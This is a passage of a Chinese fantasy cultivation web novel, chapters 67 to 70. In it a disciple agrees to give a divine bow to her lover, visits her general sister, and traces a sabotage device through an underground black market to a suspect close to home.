本该在山上和沙巧她们一起玩闹,现在却被拘在宋良白的书斋中,且她一大早就被叫过来,这都过去两个时辰了,宋良白也不开口训她,只是一味地让她抄书。 这两个时辰比商怀笙的前半辈子还要漫长, 她在脑子里把自己从拜师以来闯过的所有祸都回忆了一遍。 要是在以前, 宋良白肯定先劈头盖脸地把她骂一顿, 但他现在默不作声,跟着在一旁练字, 反倒叫人更加心慌。 毛笔在纸上挥洒, 笔锋直贯纸背,似要戳透纸面,看得商怀笙也跟着手腕发紧,将自己手里的笔攥得更紧了些。 “师父……这篇《道德经》我抄写完了。”商怀笙停笔, 宋良白嗯了一声, 依然在纸上挥斥方遒, 没有抬头。 她瞥一眼窗外的积雪,小声道,“雪快要融了。” 宋良白动作微顿, 落下最后一笔,才直起身子看向她,“抄完了?” “嗯。”商怀笙点点头,眼中露出希冀的光,“我可以走了吗?” “我瞧瞧。”宋良白伸手,将她桌上的白纸拿了过去,只看一眼,便皱起眉头,“你的字怎么还是这么难看?你跟着秦湫练字,竟半点长进也没有。” 秦湫从前做过私塾的女先生,写得一手好字。 商怀笙道:“比去年的我已经进步许多了。” “的确。” 宋良白点了下头,将她写得东西放到一边,却没有要放她走的意思,坐下来给自己倒了杯茶,茶水蒸腾着热气,宋良白小口啜饮,闲适地靠在椅背上。 日头越来越大,商怀笙也焦急起来,“师父,我犯了什么错,您要打便打要骂就骂,骂完我还得去扫雪呢。” 宋良白的眼睛一下子睁大,“难道我只有在你犯错的时候才会叫你过来吗?” 商怀笙想了想,“是的。” 宋良白:“……扫雪的人不缺你一个。为师只是突然觉得,平时疏忽了对你的教导。” 早不教晚不教,偏在大家都去玩雪的时候把她叫来! 既然知道自己没犯错,商怀笙也一改刚才拘谨的模样,大大咧咧地坐下,“不必师父劳心,我跟着师兄师姐也一样能学到东西。” 宋良白扫她一眼,拔高音调,“起来!没大没小的。” “……?”怎么又开始训她了? 商怀笙慢悠悠地站起来,语气中含着对宋良白行为的不解,“师父,这书也抄了,您也不打我也不骂我,您叫我过来到底是为了什么?” 宋良白本来还想循序渐进,和她聊聊这些年的生活和进步,但他突然意识到对商怀笙来说这样旁敲侧击她是听不懂的,只能开门见山地说:“你这些日子一直去问玉那里吧?” 商怀笙脸颊微红,应了一声,“嗯。” “昨日凌云来访,所为何事?” 想起凌盛说的那些话,商怀笙眉心微蹙,“他是来道谢的,在境外试炼,我们和凌盛一起脱困。” “束神石像的事情,我略有耳闻。”宋良白语气中带着感慨,“没想到它们会出现在天音林海中,清溪门那位姓连的弟子死了,倒是十分可惜。” 宋良白突然变得温柔起来,“幸好你们都安全回来了。” 素来不正经的人突然搞起温情这套,商怀笙有几分不适应,“只是误打误撞,没想到断龙能克制它们。” “毕竟是战神的武器,纵使束神石像中有神仙的灵识,在当年也不过是手下败将而已。只是有一点我觉得很蹊跷。”他话锋一转,道,“众仙门年年都会派弟子到长眠海巡逻,深入天音林海也是常事,为何以前没遇到过束神石像,偏偏在你们进去的时候?” 商怀笙脑中闪过李迎灯的可憎面目,动了动嘴唇,想起凌云拜托她在找到赎罪之法前不要将此事告诉旁人,又咽了下已到嘴边的话,只是轻轻摇头,“弟子不清楚。” “不管怎么说,你们能平安回来就好了。” 宋良白没有再追问,一直藏在袖中的手也伸了出来,铺垫了这么多,他终于说起今日叫商怀笙过来的真实目的。 “你已有断龙,神皇弓在你手中也并无用处,你这几日可与它有所感应?” “没有。” 神皇弓还放置在商怀笙的房间中,这么多天一点也没展示出神器的威力,挂在墙上和普通的装饰并无区别。 商怀笙尝试着和它建立联系,但不知是不是在长眠海沉睡太久,神皇弓如死物一般,毫无反应。 而且她能感觉到断龙十分排斥神皇弓,自打她把神皇弓挂进屋里,断龙便再也不肯进她的房间,她上次摸过神皇弓后,断龙也有好几日不许她碰。 宋良白轻咳一声,有些犹豫地开口,“虽说也有一主多器的先例,但你与断龙已是难得的适配,若不能与神皇弓结契,将它留在手里反而可能会招致祸端,你有没有想过,给它找一个更合适的器主?” “更合适的?”商怀笙反应了一会儿,恍然大悟,“哦!师父,你想要吗?” 宋良白脸色大变,慈师也装不下去了,“别胡说!我和墨序相伴多年,情深义重!” 墨序时宋良白的佩剑。 商怀笙挑眉,“哦,那师父你想给谁啊?师兄师姐都已经有自己的灵器了,前两年新来的弟子倒是有还未结契的,要不要给他们试试?” 宋良白:“你愿意割爱?这可是神器。” “师父您也说了,我已经有断龙了,况且我当时参加境外试炼,也只是不想丢了咱们四水阁的脸。”商怀笙道。 “不愧是我的徒弟。”宋良白脸上露出欣慰的神色,“其实,我心里倒是有一个人选。” 商怀笙:“谁啊?” “问玉。” “……啊??” 商怀笙瞪大了眼睛,震惊不已,“师父,他可是三山宗的人啊!” 宋良白道:“那你不也与他浓情蜜意吗?” “我这……我这不一样,师父当年不是和年玉闹得十分不愉快吗?您费了那么大功夫,离开常春阁,自立门户,创立了现在的四水阁,如今徒儿在九天盛会上为你挣得的荣耀,便要这样拱手让给三山宗吗?” 商怀笙心里,神器给谁都行,四水阁弟子最好,旁人若是有缘也可以顺水推舟送个人情,但三山宗的人是必须排除在外的,三山宗与四水阁积怨已深,不是一日两日便能化解的。 她是喜欢问玉,却不会因此放下对三山宗的敌意。 宋良白现在却说,要她把神皇弓送给问玉? “我是与年玉有过分歧,无法认同彼此的观念,逐渐走到水火不容的地步……但这件事和问玉无关,他只是在我和年玉之前选择了他更为亲近的兄长而已。” “师父生前最大的愿望,便是看到我们师兄弟三人能够振兴常春阁,让它成为修仙界第一的门派,再不会被其他门派欺辱践踏。” 他勾了勾唇角,不知怎的,商怀笙觉得宋良白笑的有几分凄凉,“可惜他老人家命薄,没能等到那一天……不过也幸亏他走得早,如果他见到今日三山宗与四水阁的情形,恐怕会气得不轻。” “问玉他修行多年,一直没能找到合适的灵器,陷入瓶颈后也十分困扰,又被你破了道身,修行更加艰难。你们现在也算是同修的道侣,若你不介意,可以让他试一试。” 道侣。听到这个词,商怀笙的心晃了晃,耳尖有些发烫。 “只要师父不介意,我当然愿意。”商怀笙应了下来,好奇地问道,“师父,你和年玉当年究竟发生了什么,为何会到今日这步田地?” 明明他还在意着问玉,在意他们之间的师兄弟情谊。 宋良白垂首,自嘲地笑笑,“只是些鸡毛蒜皮的小事,怪就怪当时年轻气盛,不肯低头。” 时至今日,也没人愿意再去重提往事。 * 商怀笙从书斋出来,山路上的雪已经被清理干净了,大家去了伙房聚餐,徒留商怀笙一人对着通畅的山路无声哀嚎。 可恶的师父!为了这么点小事困她这么久,害得她错过了扫雪!! 这样的机会多难得啊!! 独立苍茫天地间,商怀笙在心底暗骂宋良白一番,转头去找问玉——既然是宋良白是为了问玉才找她的,她去问玉那里讨点报酬不过分吧? 商怀笙御剑直奔问玉的住处,她还特地观察了一番,确定凌云父子不在后,直接推门闯了进去。 “师叔,一上午不见,想我了没有?!” 商怀笙直接抱住床边背对着她的男人,感觉到怀里的人身子僵了一下,她歪过头,去看问玉的脸色。 “怎么,见到我不高兴?” “高兴。” 问玉笑了笑,在她唇上落下一吻,“你御剑过来的?身上很凉。” “我没觉得冷。”商怀笙回吻过去,亲了他的嘴唇和脸颊,一低头才发现他床上铺了许多衣物,“你在收拾衣裳?” “在收拾行李。”问玉把脑袋凑过来,“继续亲。” 商怀笙听话地亲上他的眼角,每一处都没有放过,“收拾什么行李?要出门?” “对,和你一起。” “和我?” “嗯,回来也许久了,去见见你妹妹。” “……嗯?” 第68章 第六十八章 顺遂本心,不受约束…… 云月都的冬日, 格外的严寒。尤其在下过雪以后,演武场的黑岩上覆着一层薄雪,被教双华靴踏成黑色的冰泥, 又因呼出的白气凝出新的霜痕。 长矛刺破寒风, 发出尖啸,八百新兵身着厚重铁甲,手握长矛, 在彻骨冷风中,每一次呼吸都携寒风,却无一人敢停,目光坚毅,动作利落。 高台之上,商叙立如松。银甲肩头落了些细雪, 鲜红披风在朔风中猎猎作响, 卷起零星雪沫。她未戴盔甲, 墨发高東,露出的面容被冻得微白, 反而衬得那双眼睛愈发黑亮锐利, 如同雪原上盯死了猎物的苍鹰。 “枪尖拾高三寸!“她的喝声劈开寒风,砸进每一个新兵的耳朵里,“敌人可不会给你调整的机会!你们要面对的是凶狠的夷族,屠戳大庆同胞, 侵占大庆土地, 在战场上若是有一分一毫的差池, 都可能会命丧当场!” 她的声音回荡在演武场中,众人的动作都变得更加认真,拼命将动作做到极致。 漫天细碎的雪沫之中, 一道素白流光自天际而来,撕裂长空,悄无声息地降落在高台之上,落在秦昭身侧。 “将军!” 雪尘微扬,引起-阵小骚乱,商叙手握长矛,眼神警惕。 白尘落定,一男一女出现在众人眼前,身着款式相似的月云纹广袖道袍,衣袂飘飘,周身彷佛笼罩着一层无形的屏障,风雪不侵,片香不沾身,那男子面无表情,容貌清丽绝俗,女子笑意盈盈,眉眼间与他们的将军有几分相似。 所有人都僵住了,沸腾的操练声也瞬间断绝,他们张大嘴巴,看着那两位突然降临,与军营格格不入的仙人,忘记了寒冷。 商叙按在长矛上的手松开了。她冷峻的眉眼以肉眼可见的速度柔和下来,向前迈了半步,肩头的积雪滑落,“你们怎么来了? ” 她的语气有些僵硬,但是掩饰不住其中的欣喜。 “许久不见了,顺道来瞧看看你。”商怀笙笑道,看着演武场那些稚嫩的脸庞,想起当时自己在军营的日子,“原本想和陆雪青一起来的,可他有要事在身,所以我就自己来了。” 商叙眸中漾开笑意,“说起来,陆雪青刚离开的时候还经常给我和殿下写信,这两个月竟一点音讯也没有,看样子你们见过面了,那我也就放心了。” 商叙将场上那些新兵交给了下属,誻膤團對獨鎵将问玉和商怀笙带回了府中。 商怀笙第一次来到她府中,看什么都觉得新奇,没有亭台水榭,奇花异草,练武场却大的出奇,地面的青石板被磨得光滑,两侧兵器架上寒光闪烁,从普通的刀剑到各式各样的弓弩枪戟,一应俱全。 商怀笙道:“你这里真是,与寻常府邸大相径庭。” “上一任督主是个练武狂人,将宅院修成这个样子,我接手后也没有心思去修整院子,陆雪青派人在后院栽了几颗树修了个池子,倒有那么几分花园的样子。” 绕过影壁,穿过游廊,便来到商叙所说的后花园,陆雪青确实有点审美,虽然没有太过名贵的植株,但是布局典雅,令人眼前一亮。 提起陆雪青,商叙还有其他的话想问,她用余光瞥着一直跟在商怀笙身侧的问玉,心底有一丝奇怪,印象里和商怀笙更为熟识的是她的师兄师姐,与问玉似乎并不那么亲近。 “问玉道长也是,许久不见。”商叙开口道,“没想到你们会一起过来。” “……恰好有些事情要办。” 商怀笙犹豫一瞬,没有坦白她和问玉现在的关系,解释起来还要多费口舌,也怕商叙知道后面对问玉会觉得尴尬。 她和问玉要去一趟云月都的黑市,他们已经从凌盛口中得知了盖羽飞甲的存,盖羽飞甲这种罕见的珍品,又能操控他人灵器,自问世起便会被天工阁记录在册,流通时的也会有登记。 问玉已经托人查询过目前登记在册的几件,都没有异常之处,所以控制断龙那一枚一定是通过非法渠道流通的。 云月都有庆州最大的黑市,位于城市地下,售卖各种非法武器,毒药和情报,也售卖仙丹灵药,自称为仙市,号称只有你想不到,没有他找不到。 商怀笙和问玉此行,便是想找一找黑市上有没有出现过盖羽飞甲。 知晓他们的来意,商叙也表示能够帮忙出一份力,明天便安排府中与仙市对接的人员和他们见面,让他们更快地熟悉仙市的规则。 “那你们要在这里留几天?”商叙问道。 “快的话两三天吧,如果一直找不到,可能就要打扰你一段时间了。” 商叙笑笑,眼中写着期待,“姐姐住在妹妹家里,怎么算是打扰呢?我叫人给你们安排房间。” 商怀笙住在了商叙院子里空着的厢房,府中女眷居多,问玉便住在了较为偏远的后院。 下午他们去仙市入口处转了转,但前些日子溟都与云月都的人起了纠纷,大闹一场,如果不是商叙派人前去镇压,怕是会打起来,仙市也因此闭市,直到深夜才会开启,凌晨天不亮便闭市,且开启和结束时间都不固定,有时也会一整夜都不开。 “如此看来,你们怕是要多住几日了,我会找人留意着,一旦开市便告诉你们。” 晚宴设在将军府中,府里虽然有厨子,但云月都的饭菜口味都很清淡,还喜欢用一种味道奇怪的香料,商怀笙吃的很不习惯。 商叙看出她胃口不好,便让下人去外面酒楼里买饭菜,商怀笙本来不吃饭也行,大半夜的也不想麻烦别人,就拦住了她。 “我已辟谷,吃不吃的也无所谓。倒是你,小时候就挑食,现在竟能吃得下这种味道。” “时间久了就习惯了。” 商叙本也不是重口腹之欲的人,又在战场磨炼这么多年,连树皮泥土都吃过,更何况这些饭菜。 但商怀笙竟然还能记得她小时候挑食,商叙内心柔软的角落被触动,忍不住笑了起来,“姐姐才是,小时候什么都吃,比哥哥们吃的还要多。” “那我饿嘛。”商怀笙的脸皱成一团,“小时候我就没有吃饱过。” 遇到李昱辰之后她才体会到吃饱的感觉,但如果能让她再选一次,她宁愿过挨饿的日子。 说起小时候的事情,两人越聊越起劲,问玉也悄然离场,给二人独处的机会。 “你还记不记得小时候我们在海滩上等爹和哥哥们回来,你窝在我怀里睡觉。” “记不清了,只记得我被螃蟹夹到过耳朵。” “哈哈哈,那次你哭的好厉害,把邻居都给哭过来了,还以为是爹打了你。娘为了安慰你,给你煮了海带汤面。” “那海带汤面好难喝,我不喜欢喝。” “所以都被我和哥哥喝啦,汤面你都不喝,简直是暴殄天物!” “那就是很难喝嘛。” “你就是胃口小,不像我,喝一大锅都喝不饱。我第一次吃饱的时候,把桌子都给砸坏了!”商怀笙道,“那真是太美味了,我永远都会记得那一桌饭菜的味道。” “姐姐走之后,家里忽然多了许多钱财,爹娘带我们去了镇上的大酒楼,我也是第一次见那么一大桌子菜。” “……” “……” 越过幼时自由自在的光阴,话题变得沉重起来,两人静默无言,不由得都想到了枉死的父母,兄弟姐妹,岁月漫长,此生再也无法相见,只留下回忆。 同样也想起了军营中种种磨难,无数个濒死的瞬间,受伤时的痛苦,第一次杀人时溅到脸上的热血。 “不说这个了。”商叙率先打破沉默,“我刚才便想问你,你和陆雪青见过面了,如何?” “前不久的仙门大会上见过,他拜入了医谷,看上去和他同门们相处的不错。” “那我也就放心了,他在落凤原劳心劳力那么久,能够习得长生之道,也是好事。”商叙神色欣慰,“那个时候我每次发病都是他在帮我,每次医治之后他的身体肉眼可见地变得虚弱,所以我一直很担心,怕他搭上自己的性命。” 商怀笙搭上她的手背,安慰道,“现在没事了。” 陆雪青离开前,还特地请求他们不要告诉商叙真相,她本就愧疚,若是知道自己因为归元鬼针命不久矣,必然会更加内疚自责。 这份恩情是她们欠陆雪青的,不是简简单单就能回报的。 “姐姐,陆哥他真的很喜欢你,我曾经误入他的房间,见到许多他为你所画的画像,他没见过你长大的样子,但画的却很像。” 商怀笙垂眸,眼神闪避,“我知道……” 她也偶尔回想起,在镇化山拒绝陆雪青时,那他强颜欢笑的表情,和离去时落寞的神色。 “但是。”商叙紧紧握住她的手,道,“陆哥为我医治,不管是出于责任还是对你的喜爱,这都是我欠他的,我会尽我所能来报答他,没必要你来偿还,所以你如果不喜欢他,不必心有愧疚。” “我希望陆哥能够得偿所愿,但也希望我的姐姐能够顺遂本心,不受约束。” 第69章 第六十九章 仙市 夜里, 商怀笙和商叙住在了同一间房,她本来是要回自己房间的,但商叙和她讨论起兵法, 两人聊得开心了, 便直接宿在一处。 商怀笙虽有神力,当年跟着李昱辰打仗也不是空靠力气,也是跟着他那些军师幕僚学过一些, 但非常之期有非常之法,当年整个庆州四分五裂,战火不休,那些老家伙的方式都过于激进,听得商叙频频蹙眉。 商怀笙也意识到大半夜聊这些太残暴血腥,便换了个话题, “李承允刚刚登基, 他的心性似乎还和小孩子一样, 想必这段时间大庆的局势也没那么平静吧?” “朝堂之上有相文客在,倒也不会出什么乱子。先帝子嗣绵薄, 早料到会有这么一日, 已经替他安排妥当。”商叙道。 商怀笙道:“相文客?他居然真的耐得住性子,我以为那老头野心勃勃,早晚会取而代之呢。” 商叙轻笑,眼底却有些黯然, “怎么会, 陛下年后便会迎娶他的女儿为后, 若是能生下子嗣,以后的皇帝便会流淌着他相家的血脉,他又怎么会冒险谋逆, 而且他是真心为天下百姓思量。” “这个老狐狸。” 商怀笙低骂一句,忽的想起当时在日曜城感觉李承允对商叙似乎格外喜爱,一歪头,果然看到商叙眸中泪光盈盈,被她发现后,又撇过头去。 商怀笙心中一颤,“你和李承允……” “只是年少时相识的情谊而已。”商叙吸吸鼻子,长舒一口气,在夜色中,在自己唯一的亲人身侧,第一次坦白自己的情感,“纵使我对他有男女之情,却也知晓我俩并非良配,我不可能嫁给他永困深宫,他是大庆唯一的继承人,也不可能逃离身份的桎梏常伴我左右。” 李承允对她的喜欢溢于言表,身边的人都能看出来,陆雪青也曾问她,是不是喜欢李承允,若是喜欢他可以作为她的娘家人,为他二人去请陛下赐婚,商叙否认了。 她早知今日结局,便从没想过开始。 李承允与相家小姐要成婚的消息传来,她也只是在房中独坐一整夜,有些话不能说给春月冬星,陆雪青远去天泉医谷无法联系,满腔的心绪已在时日消磨中熄灭冰封,深藏在心底。 直到商怀笙回来,她终于能有个人说起此事,心情也已经变得平静,投石入海,泛起几圈涟漪,再无痕迹。 商怀笙从背后抱住她,安慰道:“那小傻子有什么好的,天底下最不缺的就是男人,你要是喜欢傻的,也不是找不到。” 商叙“噗嗤”一声笑了出来,“我的口味倒也没有那么独特。况且我忙得很,要带新兵,要震慑溟都,还随时可能上战场,没功夫去纠结这些男女之事。” “说的也是,你这么忙,就算真的要找,也要找一个温柔贤惠的夫君,帮你料理府中琐事……其实我觉得陆雪青就不错。” “打住!”商叙转过来,捂住她的嘴巴,“陆雪青对你一心一意,若是知道你说这种话,怕是会气得七窍生烟,而且他可不是什么温柔贤惠肯居于内宅之人,只是在你面前装成这样,落凤原的局势比云月都要严峻的多,能坐稳督主之位,他的手段要比你想象中多得多。” 商怀笙眼珠转了转,眨眨眼,“那行吧,那就再看看还有没有别的。” “陆雪青还不知道陛下要成亲的消息,他在忙什么,明年能赶回来吗?” “说是要拜访一个前辈,应该能赶回来吧。” 他们从镇化山回来也有一段时间了,商怀笙走前教了陆雪青通过传音符联系她和商叙的方式,她刚拒绝了陆雪青,陆雪青不联系她也正常,可怎么连商叙也不联系呢? 是真的因为她伤心,所以要和她们姐妹都断绝关系? 可陆雪青与商叙相识多年,如家人一般,应该不会这么轻易地就断绝联系吧? 商怀笙心头闪过一丝疑虑,想着等他们从云月都回去,该想办法联系一下陆雪青,看他是否安然无恙。 * 在云月都住了两日,终于等到了仙市开市,商怀笙和问玉换上提前准备好的面具和黑袍,在午夜时分踏入了仙市的大门。 乌云浓重,遮盖月色,坊市一片死寂,码头之下却是另一番天地,污水沿着石壁低落,发出单调阴冷的回响,混杂这压抑的人声,形成一种令人不安的嗡鸣。 商怀笙一进来便闻到一股奇怪的味道,劣质焚香、未处理的皮革、刺鼻的药草甜香,还有一丝若有若无的铁锈味,混在一起,使得空气都变得浑浊黏稠。 问玉将抬手在她面具上抹了什么东西,一股清新的薄荷香气窜如鼻腔,商怀笙瞬间觉得清醒许多,她小声问:“这是什么?” “醒脑香。”问玉靠近她,在黑袍下签上了她的手,“这里不止有人类和修士,还有妖魔和鬼魂,跟紧我。” 他的温度从掌心传来,温热直抵心尖,商怀笙勾起唇角,紧紧握住他,“放心好了。” 仙市内人影幢幢,没有明亮灯火,只有零星几点昏黄的光晕,被昏暗切割得支离破碎。 蜷缩在角落的贩子们,身着和他们相似的黑袍,摊前摇曳的油灯散发着惨淡的幽光,商怀笙的目光掠过那些贩卖非法药剂和兵刃的摊贩,都是些平平无奇的东西。 她将目光投向更深处那些气息阴沉古怪的区域,微微侧首,将声音压得极低,“这些东西也能拿到仙市来卖吗?都是些常见的玩意儿。” 问玉不动声色地颔首,道:“明处能得到的东西也容易被追查到。来这里买东西的人,多是为了干些见不得人的事。” “盖羽飞甲,你觉得是李迎灯做的?” “十有八九。” “那咱们还来这里做什么?咱们直接去找他不就行了?” “我想找到是谁带进四水阁的,李迎灯可能是制作者,但能将这东西放到断龙之上,应该不是外人。” 商怀笙哦了一声,恍然大悟,“能给我下药的人,必然也不是外人。” 她捏了捏问玉的指节,调侃道:“难不成也是你们三山宗的人干的?” 问玉在她掌心戳了一下,没有回答,面具下的表情却变得严肃起来。 他现在最怀疑的,是四水阁的人,甚至有可能是与商怀笙亲近之人,其他人接近断龙必然会被它排斥。 两人如同两道幽影,融入人流,朝着深处那些个昏暗的摊位走去。 商怀笙的目光在这些摊位上迅速掠过,忽然聚焦在某一处,心跳微微加速,“这里。” 两人停在一个阴湿角落的摊位面前,摊主是个干瘦如柴的老头,身材佝偻,蹲在地上,几乎与阴影融为一体,他是这些人中唯一没有戴面具的,手里攥着酒壶,大口地往下灌酒。 他的摊前铺着一张脏得几乎看不见原本颜色的绒布,上面随意地摆着几块成色不怎么样的翡翠玉石,还有几个生锈的铃铛,一堆看不出来是什么鸟类脱落下来的羽毛,在摇曳的油灯下泛着冷光。 “老板,这些羽毛怎么卖?”商怀笙蹲下身,假意去看那些羽毛。 见人过来,他把手边的面具戴在脸上,声音沙哑得像是被砂纸摩擦过一样,“姑娘好眼力,这可是凤凰的羽毛,存着业火之力,蕴藏着灵力,能够锻造出灵器。” 问玉站在她身后半步,身形看似放松,实则肌肉紧绷,冰冷的目光扫过老头枯瘦的手指和袖口,同样扫过绒布上那些羽毛。 这些羽毛自然不可能真的来自凤凰,这老头虽然夸大其词,但这的确是锻造灵器所能用到的焰心羽,能够储存火元,能够轻易地穿透物质表面,直达其内部结构,将钢铁中的杂质祛除,使得锻造出来的灵器更加精纯。 “是吗?”商怀笙的手拂过那堆羽毛,指尖轻轻点在其中一根边缘处略有焦痕的羽毛之上,“这样的好东西,是来自天工阁?” 老头眼眸一眯,透出危险的精光来,“姑娘怕是初次来到仙市吧,问物不问来处,这是仙市的规矩。” “抱歉,我家夫人第一次来,不懂规矩。”问玉上前,将商怀笙挡在身后,“焰心羽难得,老板这里的更是精品,只是这些羽毛边缘有焦痕,看上去已经被使用过了。” 见他一眼便认出了焰心羽,老头浑浊的眼睛中透出一丝警惕和慌乱,“不过是一些小瑕疵而已,并未使用过,也不耽误使用,公子与夫人若是诚心,我可以低价卖给你们。” “不必了。我夫人不喜欢瑕疵。” 问玉拉着商怀笙的手,调转方向向外走去,商怀笙能感觉到那老头的目光一直在二人的身上,贪婪,警惕,怨毒。 二人走出仙市,天际已经泛起鱼肚白,微光刺破清晨,码头底下的仙市也瞬间安静下来,所有的人和摊位都消失的无影无踪。 “你确定是那个人吗?”商怀笙问他。 “盖羽飞甲会吸收周围灵器的灵力,那焰心羽的颜色比正常的要暗淡许多,许是曾跟盖羽飞甲放置在同一处的缘故。”问玉解释完,侧目看向她,“而且,不是你先发现他的吗?” “不是我,是断龙,它似乎感受到了盖羽飞甲的气息,变得很激动,差点没把我头发扯掉。” 商怀笙把头顶的剑簪拔下来,化成镯子戴在腕上。 她的化器之术已经炉火纯青,饶是问玉看到她的进步也有些惊讶,“你与断龙越来越契合了。” “是它现在听话了。” 两人换下黑袍,站在已经开始热闹起来的坊市中,商怀笙问:“下一步做什么?是直接去找那个老头,还是先逛一逛?” “先吃早饭吧。”问玉向她伸出手,“你这两日一直陪着你妹妹,怕是忘了还有我这个人了吧。” “啧,师叔这话真酸。”商怀笙将手搭上去,笑道,“今晚便去陪你。” 第70章 第七十章 我最喜欢你了。 问玉在老头身上下了追踪用的纤丝, 天涯海角,只要他还活着,就能追踪到他的位置。 两人在外面逛到午后, 差不多到了饭点, 他们才慢悠悠地去找那个老头。 纤丝一直延伸到码头,没想到这老头居然就住在仙市附近,只隔着两个街区, 这里的屋舍低矮破败,污水横流,空气中弥漫着腐朽的味道。 最终两人在一扇歪歪斜斜,仿佛随时会倒塌的木门前停下,周围的房屋都房门紧闭,了无生机, 看上去不像是有人居住的模样。 商怀笙道:“商叙说这里多年前便要拆迁, 但因为与仙市入口临近, 又有些顽固的家伙不肯离开,拖延许久, 逐渐成了难民流民聚集的地方。” 问玉收起手上的纤丝, 道:“就是这里。” 屋内,驼背老头端起早晨冻住的粥,割下一块来饱腹,忍着寒意哆哆嗦嗦地吃完, 便来到床榻角落, 拉出一块石砖, 将里面的银钱都拿出来,一张张清点,又重新叠好卷起, 放回到墙壁中。 做完这些,身上的冷意也没那么明显了,他躺在床上,闭上眼睛准备午睡,为今晚的仙市做准备。 就在此时,两道身影如同青烟,自屋顶飘然而下,落地无声,显露出两个人形来。 老头眼前一晃,睁眼看到身旁多了两个人,吓得一个激灵,脸上血色尽褪,以为是黑白无常来收自己了,赶紧跪地求饶:“大人们饶命,小的还未娶妻!还请阴差大人网开一面——!” “你在这里说什么呢?” 商怀笙一开口,老头看到地上的影子,才意识到眼前二人是活人,他瞥一眼紧闭的房门,手指下意识地摸向腰间的匕首。 问玉快他一步,身影如鬼魅般贴到他面前,一只手扼住了他的喉咙,另一只手迅速封住了他身上几处穴位,将他的行动能力彻底封死。 “救——” 老头的呼救声遏制在咽喉中,他瘫在床上,眼中充满了恐惧和慌张,定定地望着眼前的二人,艰难地发出声音,“是、是你们?你们好大的胆子,竟然敢破坏仙市的规矩!若是被市主知道,定会追杀你们到天涯海角!” 他既已听出商怀笙就是昨夜的人,商怀笙便也不跟他卖关子了,“昨夜那些焰心羽,是天机阁弄来的吧?” 老头瞪大眼睛,不肯开口,商怀笙见状召出断龙,抵在他喉间,在断龙冰冷刺骨的杀气笼罩下,老头渐渐失去了一开始的硬气,涕泗横流,断断续续地开口道: “是、是从天机阁拿的……但我只是拿一些旁人不要的次品,我没有作奸犯科……也没、也没做什么伤天害理的事情……好汉饶命啊——!” “是拿还是偷,你自己心里清楚。”问玉追问道,“我们来不是为了焰心羽的事情,半年前,可有天工阁的人在你这里售卖什么机甲巧物?” 老头眼珠子一转,眼底冒出精光,显然是想到了什么,“没、没有啊!” “还撒谎!”商怀笙的剑往前一寸,抵入他的血肉。 问玉冷笑道:“我夫人的脾气性子急,你若是说错了话,刀剑无眼,我可拦不住她。” 在疼痛和恐惧之下,老头的身体不住地颤抖,“我说、我说……半年前,是有人在我这里放了个铁盒子,说让我每日摆摊时都放着,七日内自有人会买走,他给了我一块金子,买主也给了我一块金子……但我没打开看过,真的不知道是什么……” “你没打开看过,怎么知道是天工阁的东西?” “卖家身上有暗器弓弩,虽然做成了寻常配饰的模样,但我做多了这种生意,一眼就认出来了,那铁盒子上还有数道机关,除了天工阁,还有谁能做到?” 老头看着眼前的长剑,讨好似的开口,“姑娘,我都说了,这剑可以拿开了吧?” 商怀笙问:“买家是谁?” 老头欲哭无泪,“他穿着黑袍,我哪里能看出来,只知道是个男人的声音,但他身上有种清润的莲花香气,举手投足间也尽显贵气。” 老头闭上眼睛,努力地回想更多,“他、他,对了,他手腕上带着一个木手镯!看上去非常的粗制滥造,跟他格格不入,手镯上雕刻着、刻着……莲花?梅花?我记不清了,那个镯子真的做得太丑了,我认不清……” 他慌张不已,近乎昏厥,“我真的只记得这些了,还请姑奶奶饶命——” 话还没说完,问玉一击手刀劈在老头的颈侧,让他彻底昏死过去。 问玉抬眸,看向商怀笙,她整个人都僵在原地,脸色难看,如遭雷击,血色全无。 “怀笙……” “别过来!” 商怀笙的身形剧烈晃动,一个可怕的念头在她脑海浮现,她挣扎着不愿意相信,那个人的形象却变得愈发清晰。 她年初的时候,沉迷木雕,曾经给师兄师姐丰宝他们都送了自己雕刻的东西,因为克制不好力道,所以雕的极丑,丰宝他们都很嫌弃。 元妄却喜欢得很,日日带着那枚镯子,被吕悠调侃是挂了个树枝也不恼,还笑呵呵地说是小师妹送的,直到商怀笙技艺精进,给他做了个更精细漂亮的,他才把那个旧的换了下来。 她昨日还说,能做这些事情的,必然不是外人。 但怎么会是师兄呢,她不相信—— 一定是这老头骗她!! “怀笙!”问玉大惊,瞬闪到她身边,扶住她摇摇欲坠的身子,“你冷静点,你再这样要暴走了!” 问玉指尖搭上她的脉腕,源源不断地向她输送灵气,有那么一刹那,他的五指化为虚影,感觉不到商怀笙的存在。 问玉心头一晃,却也顾不得这些,感受着商怀笙体内混乱的真气,他紧紧拥住他,全身散发出白光,再次将她笼罩。 商怀笙眼神空洞,死死盯着虚空中的一点,嘴唇不受控制地颤抖着,“是师兄……师兄……” 巨大的背叛感和荒谬感犹如淬毒的利刃,刺穿她的五脏六腑,几乎要将她撕裂。 “没事的,怀笙,这只是他的一面之词。” 问玉将她抱得更紧,感受到她身体的冰冷和颤抖,他心中生出一丝名为愧疚的情绪。 他猜到是商怀笙身边的人,将她带过来,只不是想提醒商怀笙,让她认识到危险,若是早知道商怀笙会有这么大的反应,他应该自己来的。 商怀笙眼中涌出热泪,眼神中满是崩溃和茫然,“师叔,你说,师兄为什么要这么做?” “……” 问玉没有回答她,商怀笙只觉得肩上一轻,一回头,问玉脸色苍白,身子轻薄如纸,飘飘然向后倒去。 “师叔??问玉!!” 商怀笙泪眼模糊,伸手抱住了他。 * 深夜,问玉才醒来,他隐约记得自己晕倒的事情,看着黑沉的窗外,才意识到自己竟然昏过去了这么久,并且没有半点这期间的记忆,是彻彻底底地昏死。 “你醒了?”床边的商怀笙抬起头,眼眶红红的,声音也有些哽咽,“你感觉怎么样?” “我没事。”问玉心底一片柔软,却也有着丝丝痛意,“你怎么样了?” 商怀笙大受打击的时候,他本该留在她身边安慰,却不想竟然会这么昏死过去。 “我没事了。”商怀笙抹抹眼泪,“把你抱回来的时候一直在哭,你都不知道这一段路我走的有多艰难,一边抱着你,还要时不时停下来擦擦眼泪,不然看不清路。” “……你还有心情开玩笑?”问玉勾了下唇角,右手托住她的脸颊,“看来是好多了。” 商怀笙目光下移,将下巴垫在他的手上,“师兄这么做,一定有他的道理。而且我还没来得“及哭呢,你就晕倒了,我忙着担心你,哪有功夫去管这些?” 商怀笙抓住他的手腕,“你怎么了,怎么会突然这样?” “我……”问玉低头,脸上那抹浅淡的笑意变成了苦笑,“我也不知道为什么会变成这样。” 